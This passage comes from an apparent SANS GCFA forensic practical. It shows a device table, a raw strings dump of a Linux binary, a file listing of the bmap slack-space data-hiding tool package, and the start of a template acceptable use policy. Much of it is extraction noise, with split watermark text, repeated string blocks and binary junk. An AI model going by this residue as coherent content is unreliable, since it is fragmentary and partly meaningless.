<td>/dev/hde2</td>
</tr>
<tr>
<td>/dev/hde19</td>
<td>/dev/hde18</td>
<td>/dev/hde17</td>
</tr>
<tr>
<td>/dev/hde16</td>
<td>/dev/hde15</td>
<td>/dev/hde14</td>
</tr>
<tr>
<td>/dev/hde13</td>
<td>/dev/hde12</td>
<td>/dev/hde11</td>
</tr>
<tr>
<td>/dev/hde10</td>
<td>/dev/hde1</td>
<td>/dev/hde</td>
</tr>
<tr>
<td>/dev/hde9</td>
<td>/dev/hde8</td>
<td>/dev/hde7</td>
</tr>
<tr>
<td>/dev/hde6</td>
<td>/dev/hde5</td>
<td>/dev/hde4</td>
</tr>
<tr>
<td>/dev/hde32</td>
<td>/dev/hde31</td>
<td>/dev/hde30</td>
</tr>
<tr>
<td>/dev/hde3</td>
<td>/dev/hde29</td>
<td>/dev/hde28</td>
</tr>
<tr>
<td>/dev/hde27</td>
<td>/dev/hde26</td>
<td>/dev/hde25</td>
</tr>
<tr>
<td>/dev/hde24</td>
<td>/dev/hde23</td>
<td>/dev/hde22</td>
</tr>
<tr>
<td>/dev/hde21</td>
<td>/dev/hde20</td>
<td>/dev/hde2</td>
</tr>
<tr>
<td>/dev/hde19</td>
<td>/dev/hde18</td>
<td>/dev/hde17</td>
</tr>
<tr>
<td>/dev/hde16</td>
<td>/dev/hde15</td>
<td>/dev/hde14</td>
</tr>
<tr>
<td>/dev/hde13</td>
<td>/dev/hde12</td>
<td>/dev/hde11</td>
</tr>
<tr>
<td>/dev/hde10</td>
<td>/dev/hde1</td>
<td>/dev/hdd</td>
</tr>
<tr>
<td>/dev/hdc9</td>
<td>/dev/hdc8</td>
<td>/dev/hdc7</td>
</tr>
<tr>
<td>/dev/hdc6</td>
<td>/dev/hdc5</td>
<td>/dev/hdc4</td>
</tr>
<tr>
<td>/dev/hdc32</td>
<td>/dev/hdc31</td>
<td>/dev/hdc30</td>
</tr>
<tr>
<td>/dev/hdc3</td>
<td>/dev/hdc29</td>
<td>/dev/hdc28</td>
</tr>
<tr>
<td>/dev/hdc27</td>
<td>/dev/hdc26</td>
<td>/dev/hdc25</td>
</tr>
<tr>
<td>/dev/hdc4</td>
<td>/dev/hdc23</td>
<td>/dev/hdc22</td>
</tr>
<tr>
<td>/dev/hdc1</td>
<td>/dev/hdc20</td>
<td>/dev/hdc2</td>
</tr>
<tr>
<td>/dev/hdc19</td>
<td>/dev/hdc18</td>
<td>/dev/hdc17</td>
</tr>
<tr>
<td>/dev/hdc16</td>
<td>/dev/hdc15</td>
<td>/dev/hdc14</td>
</tr>
<tr>
<td>/dev/hdc13</td>
<td>/dev/hdc12</td>
<td>/dev/hdc11</td>
</tr>
<tr>
<td>/dev/hdc10</td>
<td>/dev/hdc1</td>
<td>/dev/hdc</td>
</tr>
<tr>
<td>/dev/hdb9</td>
<td>/dev/hdb8</td>
<td>/dev/hdb7</td>
</tr>
<tr>
<td>/dev/hdb6</td>
<td>/dev/hdb5</td>
<td>/dev/hdb4</td>
</tr>
<tr>
<td>/dev/hdb32</td>
<td>/dev/hdb31</td>
<td>/dev/hdb30</td>
</tr>
<tr>
<td>/dev/hdb3</td>
<td>/dev/hdb29</td>
<td>/dev/hdb28</td>
</tr>
<tr>
<td>/dev/hdb27</td>
<td>/dev/hdb26</td>
<td>/dev/hdb25</td>
</tr>
<tr>
<td>/dev/hdb24</td>
<td>/dev/hdb23</td>
<td>/dev/hdb22</td>
</tr>
<tr>
<td>/dev/hdb21</td>
<td>/dev/hdb20</td>
<td>/dev/hdb2</td>
</tr>
<tr>
<td>/dev/hdb19</td>
<td>/dev/hdb18</td>
<td>/dev/hdb17</td>
</tr>
<tr>
<td>/dev/hdb16</td>
<td>/dev/hdb15</td>
<td>/dev/hdb14</td>
</tr>
<tr>
<td>/dev/hdb13</td>
<td>/dev/hdb12</td>
<td>/dev/hdb11</td>
</tr>
<tr>
<td>/dev/hdb10</td>
<td>/dev/hdb1</td>
<td>/dev/hdb</td>
</tr>
<tr>
<td>/dev/hda9</td>
<td>/dev/hda8</td>
<td>/dev/hda7</td>
</tr>
<tr>
<td>/dev/hda6</td>
<td>/dev/hda5</td>
<td>/dev/hda4</td>
</tr>
<tr>
<td>/dev/hda32</td>
<td>/dev/hda31</td>
<td>/dev/hda30</td>
</tr>
<tr>
<td>/dev/hda3</td>
<td>/dev/hda29</td>
<td>/dev/hda28</td>
</tr>
<tr>
<td>/dev/hda27</td>
<td>/dev/hda26</td>
<td>/dev/hda25</td>
</tr>
<tr>
<td>/dev/hda24</td>
<td>/dev/hda23</td>
<td>/dev/hda22</td>
</tr>
<tr>
<td>/dev/hda21</td>
<td>/dev/hda20</td>
<td>/dev/hda2</td>
</tr>
<tr>
<td>/dev/hda19</td>
<td>/dev/hda18</td>
<td>/dev/hda17</td>
</tr>
<tr>
<td>/dev/hda16</td>
<td>/dev/hda15</td>
<td>/dev/hda14</td>
</tr>
<tr>
<td>/dev/hda13</td>
<td>/dev/hda12</td>
<td>/dev/hda11</td>
</tr>
<tr>
<td>/dev/hda10</td>
<td>/dev/hda1</td>
<td>/dev/hda</td>
</tr>
<tr>
<td>/dev/gscd</td>
<td>/dev/ed7u830</td>
<td>/dev/ed7u820</td>
</tr>
<tr>
<td>/dev/ed7u800</td>
<td>/dev/ed7u720</td>
<td>/dev/ed7u3840</td>
</tr>
<tr>
<td>/dev/ed7u360</td>
<td>/dev/ed7u3520</td>
<td>/dev/ed7u3200</td>
</tr>
<tr>
<td>/dev/ed7u2880</td>
<td>/dev/ed7u1920</td>
<td>/dev/ed7u1840</td>
</tr>
<tr>
<td>/dev/ed7u1760</td>
<td>/dev/ed7u1743</td>
<td>/dev/ed7u1722</td>
</tr>
<tr>
<td>/dev/ed7u1680</td>
<td>/dev/ed7u1660</td>
<td>/dev/ed7u1440</td>
</tr>
<tr>
<td>/dev/ed7u1120</td>
<td>/dev/ed7u1040</td>
<td>/dev/ed7h880</td>
</tr>
<tr>
<td>/dev/ed7h720</td>
<td>/dev/ed7h420</td>
<td>/dev/ed7h410</td>
</tr>
</tbody>
</table>
Wrong medium type
Remote I/O error
Not a XENIX named type file
Operation now in progress
Host is down
No buffer space available
Network is down
Operation not supported
Protocol not available
Too many users
File descriptor in bad state
RFS specific error
Communication error on send
Link has been severed
Machine is not on the network
No data available
Invalid slot
Exchange full
Level 2 halted

No medium found
Disk quota exceeded
Is a named type file
Structure needs cleaning
Stale NFS file handle
No route to host
Connection refused
Connection timed out
Network is unreachable
Protocol family not supported
Protocol not supported
Destination address required
Remote address changed
Bad message
Multihop attempted
Protocol error
Srmount error
Advertise error
Object is remote
Package not installed
Timer expired
Device not a stream
Bad font file format
Invalid request code
No anode
Invalid request descriptor
Invalid exchange
No CSI structure available
Protocol driver not attached
Link number out of range
Level 2 not synchronized
No message of desired type
No locks available
Numerical result out of range
Read-only file system
File too large
Too many open files in system
Not a directory
File exists
Bad address
No child processes
Argument list too long
Interrupted system call
Operation not permitted

Cannot send after transport endpoint shutdown
Software caused connection abort
Address family not supported by protocol
Interrupted system call should be restarted
Attempting to link in too many shared libraries
Can not access a needed shared library
Numerical argument out of domain,
,ccs=TRIM_THRESHOLD_

system bytes = %10u
max mmap regions = %10u
free(): invalid pointer %p!

Unknown error
out of memory [%d]
[apic]
psc36
fxsr
amd3d
i586
LD_AOUT_PRELOAD
LD_ORIGIN_PATH
GCONV_PATH
LOC_PATH
RESOLVE_HOST_CONF
T2DIR
LD_BIND_NOW
/etc/suid-debug
FATAL: kernel too old

Level 3 reset
Channel number out of range
Directory not empty
File name too long
Broken pipe
Illegal seek
Text file busy
Invalid argument
No such device
Device or resource busy
Permission denied
Bad file descriptor
No such device or address
No such process
Success
Transport endpoint is not connected
Network dropped connection on reset
Protocol wrong type for socket
Invalid or incomplete multibyte or wide character .lib section in a.out corrupted
Value too large for defined data type
Inappropriate ioctl for device
Transport endpoint is already connected
Cannot assign requested address
Socket operation on non-socket
Cannot exec a shared library directly
Accessing a corrupted shared library
Too many levels of symbolic links
Resource temporarily unavailable
MMAP_MAX_
Arena %d:

system byte in use bytes = %10u
max mmap bytes = %10u
malloc: using debugging hooks

ANSI_X3.4-1968//TRANSIT

out of memory [ %d]
[apic]
psc36
fxsr
amd3d
i586
LD_AOUT_PRELOAD
LD_ORIGIN_PATH
GCONV_PATH
LOC_PATH
RESOLVE_HOST_CONF
T2DIR
LD_BIND_NOW
/etc/suid-debug
FATAL: kernel too old

Level 3 halted
Identifier removed
Function not implemented
Resource deadlock avoided
Too many links
No space left on device
Too many open files
Is a directory
Invalid cross-device link
Block device required
Cannot allocate memory
Exec format error
Input/output error
No such file or directory
Too many references: cannot splice
Transport endpoint is already connected
Cannot assign requested address
Socket operation on non-socket
Cannot exec a shared library directly
Accessing a corrupted shared library
Too many levels of symbolic links
Resource temporarily unavailable
MMAP_MAX_
Arena %d:

system byte in use bytes = %10u
max mmap bytes = %10u
malloc: using debugging hooks

ANSI_X3.4-1968//TRANSIT

out of memory [ %d]
[apic]
psc36
fxsr
amd3d
i586
LD_AOUT_PRELOAD
LD_ORIGIN_PATH
GCONV_PATH
LOC_PATH
RESOLVE_HOST_CONF
T2DIR
LD_BIND_NOW
/etc/suid-debug
FATAL: kernel too old

Level 3 halted
Identifier removed
Function not implemented
Resource deadlock avoided
Too many links
No space left on device
Too many open files
Is a directory
Invalid cross-device link
Block device required
Cannot allocate memory
Exec format error
Input/output error
No such file or directory
Too many references: cannot splice
Transport endpoint is already connected
Cannot assign requested address
Socket operation on non-socket
Cannot exec a shared library directly
Accessing a corrupted shared library
Too many levels of symbolic links
Resource temporarily unavailable
MMAP_MAX_
Arena %d:

system byte in use bytes = %10u
max mmap bytes = %10u
malloc: using debugging hooks

ANSI_X3.4-1968//TRANSIT

out of memory [ %d]
[apic]
psc36
fxsr
amd3d
i586
LD_AOUT_PRELOAD
LD_ORIGIN_PATH
GCONV_PATH
LOC_PATH
RESOLVE_HOST_CONF
T2DIR
LD_BIND_NOW
/etc/suid-debug
FATAL: kernel too old

Level 3 halted
Identifier removed
Function not implemented
Resource deadlock avoided
Too many links
No space left on device
Too many open files
Is a directory
Invalid cross-device link
Block device required
Cannot allocate memory
Exec format error
Input/output error
No such file or directory
Too many references: cannot splice
Transport endpoint is already connected
Cannot assign requested address
Socket operation on non-socket
Cannot exec a shared library directly
Accessing a corrupted shared library
Too many levels of symbolic links
Resource temporarily unavailable
MMAP_MAX_
Arena %d:
Kevin Miller - Sans GCFA Assignment –v1.4

UTF-8// ISO-10646/UTF8/
OSF00010106// ISO10646/UCS4/
ISO-10646// ISO-10646/UCS4/
UCS-4// ISO-10646/UCS4/
UNICODELITTLE// ISO10646/UCS2/
ANSI_X3.4-1986// ANSI_X3.41968//
10646-1:1993// ISO10646/UCS4/
gconv
toupper
lower
xdigit
graph
punct
POSIX
/usr/share/locale
Key fingerprint = AF19 FA27
LC_CTYPE
LC_TIME
LC_XXX
OUTPUT_CHARSET
parse error
nplurals=

=ucs2reverse->INTERNAL
=INTERNAL->ucs2
=INTERNAL->utf8
UCS-4LE//
UCS-2BE// UNICODEBIG//
CP367// ANSI_X3.4-1968//
ISO646-US// ANSI_X3.4-1968//
OSF00010102// ISO-10646/UCS2/
UCS-2// ISO-10646/UCS2/

ts.

=INTERNAL->ucs2reverse
=ascii->INTERNAL
=utf8->INTERNAL
=INTERNAL->ucs4le
=INTERNAL->ucs4
CSASCII// ANSI_X3.4-1968//
US-ASCII// ANSI_X3.4-1968//
ANSI_X3.4// ANSI_X3.4-1968//
OSF00010100// ISO10646/UCS2/
OSF05010001// ISO10646/UTF8/
UTF8// ISO-10646/UTF8/
OSF00010105// ISO10646/UCS4/
CSUCS4// ISO-10646/UCS4/
alias
OSF00010020// ANSI_X3.41968//
ISO-10646/UTF-8/ ISO10646/UTF8/
GCONV_PATH

ISO-IR-193// ISO-10646/UTF8/

fu
ll r
igh

gconv-modules
=INTERNAL->ascii
=ucs2->INTERNAL
=ucs4le->INTERNAL
=ucs4->INTERNAL
UCS-2LE// ISO-10646/UCS2/
IBM367// ANSI_X3.4-1968//
ISO-IR-6// ANSI_X3.4-1968//
OSF00010101// ISO10646/UCS2/
UCS2// ISO-10646/UCS2/

Page 88

WCHAR_T// INTERNAL
OSF00010104// ISO-10646/UCS4/

©

SA

NS

In

sti

tu

te

20

04

,A

ut

ho

rr

eta
i

ns

UCS-4BE// ISO-10646/UCS4/
module
ISO_646.IRV:1991// ANSI_X3.4
1968//
10646-1:1993/UCS4/ ISO10646/UCS4/
/usr/lib/gconv/gconvmodules.cache
gconv_init
gconv_end
tolower
upper
alpha
digit
space
print
blank
cntrl
alnum
libc
ANSI_X3.4-1968
messages
POSIX
LC_COLLATE
2F94
998D FDB5 DE3D F8B5 06E4 A169
4E46
LC_MONETARY
LC_NUMERIC
LC_MESSAGES
LC_ALL
LANGUAGE
charset=
/usr/share/locale
/locale.alias
parser stack overflow
plural=
0123456789abcdefghijklmnopqr (null)
stuvwxyz
(nil)
%m/%d/%y
0000000000000000
%Y-%m-%d
%H:%M
%I:%M:%S %p
%H:%M:%S
/etc/localtime
Universal
%[^0-9,+-]
%hu:%hu:%hu
M%hu.%hu.%hu%n
/usr/share/zoneinfo
TZDIR
posixrules
/proc/self/cwd
/proc
/etc/mtab
/etc/fstab
proc
/cpuinfo
processor
/meminfo
MemTotal: %ld kB
MemFree: %ld kB
/lib/
/usr/lib/
ORIGIN
PLATFORM
cannot allocate name record
system search path
cannot stat shared object
cannot read file data
cannot map zero-fill pages
cannot create searchlist
search path=
(%s from file
(%s)
file too short
%s)
invalid ELF header
ELF file OS ABI invalid
ELF file ABI version invalid
internal error
trying file=%s
file=%s; needed by %s
find library=%s; searching
RPATH
RUNPATH
cannot create cache for
cannot create RUNPATH/RPATH
cannot create search path

© SANS Institute 2004,

As part of GIAC practical repository.

Author retains full rights.


search path
copy
ELF load command
descriptor
address/offset not properly
aligned
cannot change memory
protections
dynamic: 0x%0*1x base:
0x%0*1x size: 0x0*2x
ELF file data encoding not
big-endian
ELF file version does not
match current one
cannot open shared object
file

search cache=%s
undefined symbol:

binding file %s to %s: %s
symbol ' %s'

with link time reference
normal
DYNAMIC LINKER BUG!!!
error while loading shared
libraries
gconv_trans_context
gconv_trans_end
LC_TELEPHONE
LC_PAPER
LANG
^\[yY]
%a %b %e %H:%M:%S %Z %Y
December
September
June
February
Friday
Tuesday
%p%t%g%t%m%t%f
%a%N%f%N%d%N%b%N%e %h %e
%r%N%C-%z %T%N%c%N
i18n:1999
i18n:1999
i18n:1999
i18n:1999
i18n:1999
i18n:1999
i18n:1999
i18n:1999
+45 3122-6543
ISO/IEC 14652 i18n FDCC-set

ISO/IEC JTC1/SC22/WG20 -
internationalization

!"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`a...
U^h6LU3
'/_Djz
=t%j
=u8Q)+
|;=#o
!t>;b
{g5

% s % s % s % s % d % d
.profile
% s: cannot open file: %
% s: cannot map file: %
Out of memory while
initializing profiler
cannot create scope list
empty dynamic string token
substitution
calling fini: %
relocation processing: % % s % s
%s: profiler found no
PLTREL in object % s
unexpected reloc type 0x
cannot load auxiliary `% s'
because of empty dynamic
string token substitution
cannot allocate dependency
list
calling init: %
no version information
available (required by
of Verdef record
of Verneed record

U.y'
$po?b
MP0!
*~xX
Ac+;
dIQB
0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
STUVWXYZ
seconds
gmon
% s: cannot stat file: %
% s: file is no correct
profile data file for `% s'
dlopen
DST not allowed in SUID/SGI
programs
shared object not open
(lazy)
cannot extend global scope
invalid mode for dlopen()
empty dynamic string token
substitution
calling fini: %
relocation processing: % % s % s
%s: profiler found no
PLTREL in object % s
unexpected reloc type 0x
cannot load auxiliary `% s'
because of empty dynamic
string token substitution
cannot allocate dependency
list
calling init: %
no version information
available (required by
of Verdef record
of Verneed record

3?Cy
w);u
t0v
~j2=
^XX%
2I%
%d %d
% s: cannot open file: %
% s: cannot map file: %
cannot make segment writable
for relocation
%s: profiler out of memory
shadowing PLTREL of % s
unexpected PLT reloc type 0x
load auxiliary object=%
requested by file=%
cannot allocate symbol
search list
calling preinit: %
cannot allocate version
reference table
weak version `inity
% s: Symbol `% s' has different
size in shared object,
consider re-linking
cannot restore segment prot
after reloc
eempty dynamics string token
substitution
load filtered object=%
requested by file=%
Filters not supported with
LD TRACE_PRELINKING
checking for version `% s' i:
file % s required by file % s
unsupported version

' not found (required by

© SANS Institute 2004,
As part of GIAC practical repository.
Author retains full rights.
Appendix B

Bmap-1.0.20.tar.gz file list

[root@localhost bin1.4]# 11 -R bmap-1.0.20
bmap-1.0.20:
total 5052
-rwxr-xr-x 1 root wheel 611530 Jul 15 2003 a.out
-rwxr-xr-x 1 root wheel 510960 Jul 15 2003 bclump
-rw-r--r-- 1 root wheel 10364 May 29 2000 bclump.c
-rwxr-xr-x 1 root wheel 506 Jul 15 2003 bclump-involve.sgml
-rwxr-xr-x 1 root wheel 30824 Jul 15 2003 bclump.o
-rwxr-xr-x 1 root wheel 616 Oct 17 2003 blocks
-rwxr-xr-x 1 root wheel 616 Oct 17 2003 blocks.sorted
-rwxr-xr-x 1 root wheel 487476 Jul 16 2003 bmap
-rwxr-xr-x 1 root wheel 13030 May 15 2000 bmap.c
-rwxr-xr-x 1 root wheel 1337 Jul 15 2003 bmap-involve.sgml
-rwxr-xr-x 1 root wheel 36376 Jul 15 2003 bmap.o
-rwxr-xr-x 1 root wheel 15603 Jul 15 2003 bmap.sgml
-rwxr-xr-x 1 root wheel 12811 May 29 2000 bmap.sgml.m4
drwxr-xr-x 2 root wheel 4096 Oct 17 2003 bmap-slack
-rwxr-xr-x 1 root wheel 824 May 15 2000 bmap.spec
-rw-r--r-- 1 root wheel 55155 Jul 15 2003 bmap.strings
-rwxr-xr-x 1 root wheel 487476 Jul 15 2003 bmap.strip.0715
-rwxr-xr-x 1 root wheel 487476 Oct 18 2003 bmap.strippped
-rwxr-xr-x 1 root wheel 17159 Jul 15 2003 bmap.tex
-rwxr-xr-x 1 root wheel 266 Jul 15 2003 config.h
-drwxr-xr-x 1 root wheel 18008 Mar 24 2000 COPYING
-rwxr-xr-x 1 root wheel 501043 Jul 15 2003 dev_builder
-rwxr-xr-x 1 root wheel 1728 Feb 24 2000 dev_builder.c
-rw-r--r-- 1 root wheel 77579 Jul 15 2003 dev_entries.c
-rwxr-xr-x 1 root wheel 113856 Jul 15 2003 dev_entries.o
-rw-r--r-- 1 root wheel 0 Oct 17 2003 file_slack2
-drwxrwxr-x 2 root wheel 4096 Oct 16 2003 include
-rwxr-xr-x 1 root wheel 913 Feb 14 2000 index.html
-rwxr-xr-x 1 root wheel 8546 Apr 11 2000 libbmap.c
-rwxr-xr-x 1 root wheel 36464 Jul 15 2003 libbmap.o
-rwxr-xr-x 1 root wheel 1322 Apr 14 2000 LICENSE
-rwxr-xr-x 1 root wheel 2049 Oct 17 2003 logfilebmap.out
-rwxr-xr-x 1 root wheel 546815 Oct 16 2003 lostfile1
-rwxr-xr-x 1 root wheel 0 Oct 17 2003 lostfilebmap.out
-rwxr-xr-x 1 root wheel 101375 Oct 16 2003 lostfile2
-rwxr-xr-x 1 root wheel 2392 Oct 17 2003 Makefile
-drwxrwxr-x 3 root wheel 4096 Oct 16 2003 man
drwxrwxr-x 3 root wheel 4096 Jul 15 2003 mft
-rwxr-xr-x 1 root wheel 54948 Oct 18 2003 prog.strings
-rwxr-xr-x 1 root wheel 6639 May 15 2000 README
-rwxr-xr-x 1 root wheel 621860 Jul 15 2003 slack
-rwxr-xr-x 1 root wheel 8905 Apr 27 2000 slacker.c
-rwxr-xr-x 1 root wheel 1029 Jul 15 2003 slacker-involve.sgml
-rwxr-xr-x 1 root wheel 5517 Mar 8 2000 slacker-modules.c
<table>
<thead>
<tr>
<th>Mode</th>
<th>User</th>
<th>Group</th>
<th>Size</th>
<th>Date</th>
<th>Name</th>
</tr>
</thead>
<tbody>
<tr>
<td>-rw-r--r--</td>
<td>root</td>
<td>wheel</td>
<td>30612</td>
<td>Jul 15 2003</td>
<td>slacker-modules.o</td>
</tr>
<tr>
<td>-rw-r--r--</td>
<td>root</td>
<td>wheel</td>
<td>33280</td>
<td>Jul 15 2003</td>
<td>slacker.o</td>
</tr>
<tr>
<td>-rw-r--r--</td>
<td>root</td>
<td>wheel</td>
<td>362</td>
<td>Oct 17 2003</td>
<td>slackinfiles.txt</td>
</tr>
<tr>
<td>-rw-r-xr-x</td>
<td>root</td>
<td>wheel</td>
<td>26843</td>
<td>Oct 17 2003</td>
<td>Sound-HOWTO-html.tar.gz</td>
</tr>
<tr>
<td>-rw-r--r--</td>
<td>root</td>
<td>wheel</td>
<td>1829</td>
<td>Oct 17 2003</td>
<td>Sound-slack.txt</td>
</tr>
</tbody>
</table>

bmap-1.0.20/bmap-slack:

<table>
<thead>
<tr>
<th>Mode</th>
<th>User</th>
<th>Group</th>
<th>Size</th>
<th>Date</th>
<th>Name</th>
</tr>
</thead>
<tbody>
<tr>
<td>-rw-r--r--</td>
<td>root</td>
<td>wheel</td>
<td>2022</td>
<td>Oct 17 2003</td>
<td>s1.slack-out</td>
</tr>
<tr>
<td>-rw-r--r--</td>
<td>root</td>
<td>wheel</td>
<td>5341</td>
<td>Feb 13 2000</td>
<td>Sound-HOWTO-1.html</td>
</tr>
<tr>
<td>-rw-r--r--</td>
<td>root</td>
<td>wheel</td>
<td>3849</td>
<td>Feb 13 2000</td>
<td>Sound-HOWTO-2.html</td>
</tr>
<tr>
<td>-rw-r--r--</td>
<td>root</td>
<td>wheel</td>
<td>18167</td>
<td>Feb 13 2000</td>
<td>Sound-HOWTO-4.html</td>
</tr>
<tr>
<td>-rw-r--r--</td>
<td>root</td>
<td>wheel</td>
<td>1556</td>
<td>Feb 13 2000</td>
<td>Sound-HOWTO-5.html</td>
</tr>
<tr>
<td>-rw-r--r--</td>
<td>root</td>
<td>wheel</td>
<td>30341</td>
<td>Feb 13 2000</td>
<td>Sound-HOWTO-6.html</td>
</tr>
<tr>
<td>-rw-r--r--</td>
<td>root</td>
<td>wheel</td>
<td>5527</td>
<td>Feb 13 2000</td>
<td>Sound-HOWTO-7.html</td>
</tr>
<tr>
<td>-rw-r--r--</td>
<td>root</td>
<td>wheel</td>
<td>6170</td>
<td>Feb 13 2000</td>
<td>Sound-HOWTO.html</td>
</tr>
<tr>
<td>-rw-r--r--</td>
<td>root</td>
<td>wheel</td>
<td>92160</td>
<td>Oct 17 2003</td>
<td>Sound-HOWTO-html.tar</td>
</tr>
<tr>
<td>-rw-r--r--</td>
<td>root</td>
<td>wheel</td>
<td>1829</td>
<td>Oct 17 2003</td>
<td>Sound-HOWTO-html.tar.gz-out</td>
</tr>
</tbody>
</table>

bmap-1.0.20/include:

<table>
<thead>
<tr>
<th>Mode</th>
<th>User</th>
<th>Group</th>
<th>Size</th>
<th>Date</th>
<th>Name</th>
</tr>
</thead>
<tbody>
<tr>
<td>-rw-r--r--</td>
<td>root</td>
<td>wheel</td>
<td>1032</td>
<td>Mar 24 2000</td>
<td>bmap.h</td>
</tr>
<tr>
<td>-rw-r--r--</td>
<td>root</td>
<td>wheel</td>
<td>699</td>
<td>Mar 24 2000</td>
<td>slacker.h</td>
</tr>
</tbody>
</table>

bmap-1.0.20/man:

<table>
<thead>
<tr>
<th>Mode</th>
<th>User</th>
<th>Group</th>
<th>Size</th>
<th>Date</th>
<th>Name</th>
</tr>
</thead>
<tbody>
<tr>
<td>drwxrwxr-x</td>
<td>2 root</td>
<td>wheel</td>
<td>4096</td>
<td>Oct 16 2003</td>
<td>man2</td>
</tr>
</tbody>
</table>

bmap-1.0.20/man/man2:

<table>
<thead>
<tr>
<th>Mode</th>
<th>User</th>
<th>Group</th>
<th>Size</th>
<th>Date</th>
<th>Name</th>
</tr>
</thead>
<tbody>
<tr>
<td>-rw-r--r--</td>
<td>root</td>
<td>wheel</td>
<td>1870</td>
<td>Mar 24 2000</td>
<td>libbmap.2</td>
</tr>
</tbody>
</table>

bmap-1.0.20/mft:

<table>
<thead>
<tr>
<th>Mode</th>
<th>User</th>
<th>Group</th>
<th>Size</th>
<th>Date</th>
<th>Name</th>
</tr>
</thead>
<tbody>
<tr>
<td>drwxrwxr-x</td>
<td>2 root</td>
<td>wheel</td>
<td>4096</td>
<td>Oct 16 2003</td>
<td>include</td>
</tr>
<tr>
<td>-rw-r--r--</td>
<td>root</td>
<td>wheel</td>
<td>19793</td>
<td>Apr 13 2000</td>
<td>COPYING</td>
</tr>
<tr>
<td>-rw-r--r--</td>
<td>root</td>
<td>wheel</td>
<td>9672</td>
<td>Apr 11 2000</td>
<td>helper.c</td>
</tr>
<tr>
<td>-rw-r--r--</td>
<td>root</td>
<td>wheel</td>
<td>26520</td>
<td>Jul 15 2003</td>
<td>helper.o</td>
</tr>
<tr>
<td>-rw-r--r--</td>
<td>root</td>
<td>wheel</td>
<td>805</td>
<td>Oct 17 2003</td>
<td>include</td>
</tr>
<tr>
<td>-rw-r--r--</td>
<td>root</td>
<td>wheel</td>
<td>78443</td>
<td>Jul 15 2003</td>
<td>libmft.a</td>
</tr>
<tr>
<td>-rw-r--r--</td>
<td>root</td>
<td>wheel</td>
<td>8202</td>
<td>Apr 25 2000</td>
<td>log.c</td>
</tr>
<tr>
<td>-rw-r--r--</td>
<td>root</td>
<td>wheel</td>
<td>30228</td>
<td>Jul 15 2003</td>
<td>log.o</td>
</tr>
<tr>
<td>-rw-r--r--</td>
<td>root</td>
<td>wheel</td>
<td>810</td>
<td>Apr 13 2000</td>
<td>Makefile</td>
</tr>
<tr>
<td>-rw-r--r--</td>
<td>root</td>
<td>wheel</td>
<td>98</td>
<td>Jul 15 2003</td>
<td>mft_config.h</td>
</tr>
<tr>
<td>-rw-r--r--</td>
<td>root</td>
<td>wheel</td>
<td>7905</td>
<td>Mar 24 2000</td>
<td>option.c</td>
</tr>
<tr>
<td>-rw-r--r--</td>
<td>root</td>
<td>wheel</td>
<td>23560</td>
<td>Jul 15 2003</td>
<td>option.o</td>
</tr>
<tr>
<td>-rw-r--r--</td>
<td>root</td>
<td>wheel</td>
<td>871</td>
<td>Apr 25 2000</td>
<td>README</td>
</tr>
</tbody>
</table>

bmap-1.0.20/mft/include:

<table>
<thead>
<tr>
<th>Mode</th>
<th>User</th>
<th>Group</th>
<th>Size</th>
<th>Date</th>
<th>Name</th>
</tr>
</thead>
<tbody>
<tr>
<td>-rw-r--r--</td>
<td>root</td>
<td>wheel</td>
<td>304</td>
<td>Apr 16 2000</td>
<td>helper.h</td>
</tr>
<tr>
<td>-rw-r--r--</td>
<td>root</td>
<td>wheel</td>
<td>572</td>
<td>Mar 8 2000</td>
<td>info.h</td>
</tr>
</tbody>
</table>
-rw-r--r-- 1 root wheel 2258 Apr 25 2000 log.h
-rw-r--r-- 1 root wheel 436 Mar 8 2000 mft.h
-rw-r--r-- 1 root wheel 2955 Mar 24 2000 option.h
Appendix C

Some Company – Acceptable Use Policy

The InfoSec Acceptable Use Policy below is from the SANS “www.sans.org/resources/policies/Acceptable_Use_Policy”.

Some Company InfoSec Acceptable Use Policy

1.0 Overview
InfoSec’s intentions for publishing an Acceptable Use Policy are not to impose restrictions that are contrary to Some Company’s established culture of openness, trust and integrity. InfoSec is committed to protecting Some Company’s employees, partners and the company from illegal or damaging actions by individuals, either knowingly or unknowingly. Internet/Intranet/Extranet-related systems, including but not limited to computer equipment, software, operating systems, storage media, network accounts providing electronic mail, WWW browsing, and FTP, are the property of Some Company. These systems are to be used for business purposes in serving the interests of the company, and of our clients and customers in the course of normal operations. Please review Human Resources policies for further details.
Effective security is a team effort involving the participation and support of every Some Company employee and affiliate who deals with information and/or information systems. It is the responsibility of every computer user to know these guidelines, and to conduct their activities accordingly.

2.0 Purpose
The purpose of this policy is to outline the acceptable use of computer equipment at Some Company. These rules are in place to protect the employee and Some Company. Inappropriate use exposes Some Company to risks including virus attacks, compromise of network systems and services, and legal issues.

3.0 Scope
This policy applies to employees, contractors, consultants, temporaries, and other workers at Some Company, including all personnel affiliated with third parties. This policy applies to all equipment that is owned or leased by Some Company.

4.0 Policy
4.1 General Use and Ownership
1. While Some Company’s network administration desires to provide a reasonable level of privacy, users should be aware that the data they create on the corporate systems remains the property of Some Company. Because of the need to protect Some Company’s network, management cannot guarantee the confidentiality of information stored on any network device belonging to Some Company.
2. Employees are responsible for exercising good judgment regarding the reasonableness of personal use. Individual departments are responsible for creating guidelines concerning personal use of Internet/Intranet/Extranet systems. In the absence of such policies, employees should be guided by departmental policies on personal use, and if there is any uncertainty, employees should consult their supervisor or manager.
3. InfoSec recommends that any information that users consider sensitive or vulnerable be encrypted. For guidelines on information classification, see InfoSec’s Information Sensitivity Policy. For guidelines on encrypting email and documents, go to InfoSec’s Awareness Initiative.
4. For security and network maintenance purposes, authorized individuals within Some Company may monitor equipment, systems and network traffic at any time, per InfoSec’s Audit Policy.

---

5. Some Company reserves the right to audit networks and systems on a periodic basis to ensure compliance with this policy.

4.2 Security and Proprietary Information

1. The user interface for information contained on Internet/Intranet/Extranet-related systems should be classified as either confidential or not confidential, as defined by corporate confidentiality guidelines, details of which can be found in Human Resources policies. Examples of confidential information include but are not limited to: company private, corporate strategies, competitor sensitive, trade secrets, specifications, customer lists, and research data. Employees should take all necessary steps to prevent unauthorized access to this information.

2. Keep passwords secure and do not share accounts. Authorized users are responsible for the security of their passwords and accounts. System level passwords should be changed quarterly, user level passwords should be changed every six months.

3. All PCs, laptops and workstations should be secured with a password-protected screensaver with the automatic activation feature set at 10 minutes or less, or by logging-off (control-alt-delete for Win2K users) when the host will be unattended.

4. Use encryption of information in compliance with InfoSec's Acceptable Encryption Use policy.

